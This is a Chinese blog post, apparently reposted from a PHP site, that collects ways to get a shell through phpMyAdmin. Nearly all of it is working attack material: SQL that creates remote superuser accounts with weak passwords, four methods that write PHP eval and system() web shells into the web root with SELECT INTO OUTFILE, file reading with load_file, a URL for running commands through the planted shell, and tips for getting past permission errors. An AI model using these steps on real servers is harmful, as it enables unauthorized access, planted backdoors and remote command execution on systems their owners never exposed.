本文摘自PHP中文网,作者藏色散人,侵删。
下面由phpmyadmin使用教程栏目给大家总结phpmyadmin拿shell,希望对需要的朋友有所帮助!PHPmyadmin拿shell总结
PHPmyadmin修改用户密码
直接点击上面的localhost或者1270.0.1,出现用户一栏,点击修改即可
添加超级用户guetsec密码ooxx并且允许外连
1 | GRANT ALL PRIVILEGES ON *.* TO 'guetsec' @ '%' IDENTIFIED BY 'ooxx' WITH GRANT OPTION;
|
我们可以创建root账户设置密码
1 | GRANT ALL PRIVILEGES ON *.* TO 'root' @ '%' IDENTIFIED BY '123456' WITH GRANT OPTION;
|
这样就创建了root外联账户,密码123456,外链时用123456
拿shell四种经典方法:
方法一:
1 2 3 4 5 | CREATE TABLE `mysql`.`study` (`7on` TEXT NOT NULL );
INSERT INTO `mysql`.`study` (`7on` )VALUES ( '<?php @eval_r($_POST[7on])?>' );
SELECT 7onFROM study INTO OUTFILE 'E:/wamp/www/7.php' ;
----以上同时执行,在数据库: mysql 下创建一个表名为:study,字段为7on,导出到E:/wamp/www/7.php
一句话连接密码:7on
|
方法二:
1 2 3 | 读取文件内容: select load_file( 'E:/xamp/www/s.php' );
写一句话: select '<?php @eval_r($_POST[cmd])?>' INTO OUTFILE 'E:/xamp/www/study.php'
cmd执行权限: select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/study.php'
|
方法三:
JhackJ版本 PHPmyadmin拿shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | Create TABLE study (cmd text NOT NULL);
Insert INTO study (cmd) VALUES( '<?php eval_r($_POST[cmd])?>' );
select cmd from study into outfile 'E:/wamp/www/7.php' ;
Drop TABLE IF EXISTS study;
<?php eval_r( $_POST [cmd])?>
--------------------------------------------------------------------------------
<?php @eval_r( $_POST [cmd])?>
CREATE TABLE study(cmd text NOT NULL );# MySQL 返回的查询结果为空(即零行)。
INSERT INTO study( cmd ) VALUES ( '<?php eval_r($_POST[cmd])?>' );# 影响列数: 1
SELECT cmdFROM study INTO OUTFILE 'E:/wamp/www/7.php' ;# 影响列数: 1
DROP TABLE IF EXISTS study;# MySQL 返回的查询结果为空(即零行)。
|
方法四:
1 2 | select load_file( 'E:/xamp/www/study.php' );
select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/study.php'
|
然后访问网站目录:http://www.2cto.com/study.php?cmd=dir
Phpmyadmin导出一句话时出现(Errcode: 13 - Permission denied)
是对此目录没有权限,可以试试上级目录,或者下级目录
再不行试试NTS引流
还有就是注意目录\
以上就是总结PHPmyadmin拿shell的详细内容,更多文章请关注木庄网络博客!
相关阅读 >>
怎样安装phpMyAdmin
服务器中使用phpMyAdmin出现500错误解决方法
phpMyAdmin提示令牌不符错误
访问phpMyAdmin时显示空白怎么办?
wamp中怎么升级phpMyAdmin版本
如何在phpMyAdmin中修改mysql密码
phpMyAdmin怎么设置远程连接数据库
phpMyAdmin导入失败
怎么本地启动phpMyAdmin
如何使用phpMyAdmin建立外键约束
更多相关阅读请进入《phpMyAdmin》频道 >>
机械工业出版社
本书主要讲述了数据模型、基于对象的数据库和XML、数据存储和查询、事务管理、体系结构等方面的内容。
转载请注明出处:木庄网络博客 » 总结PHPmyadmin拿shell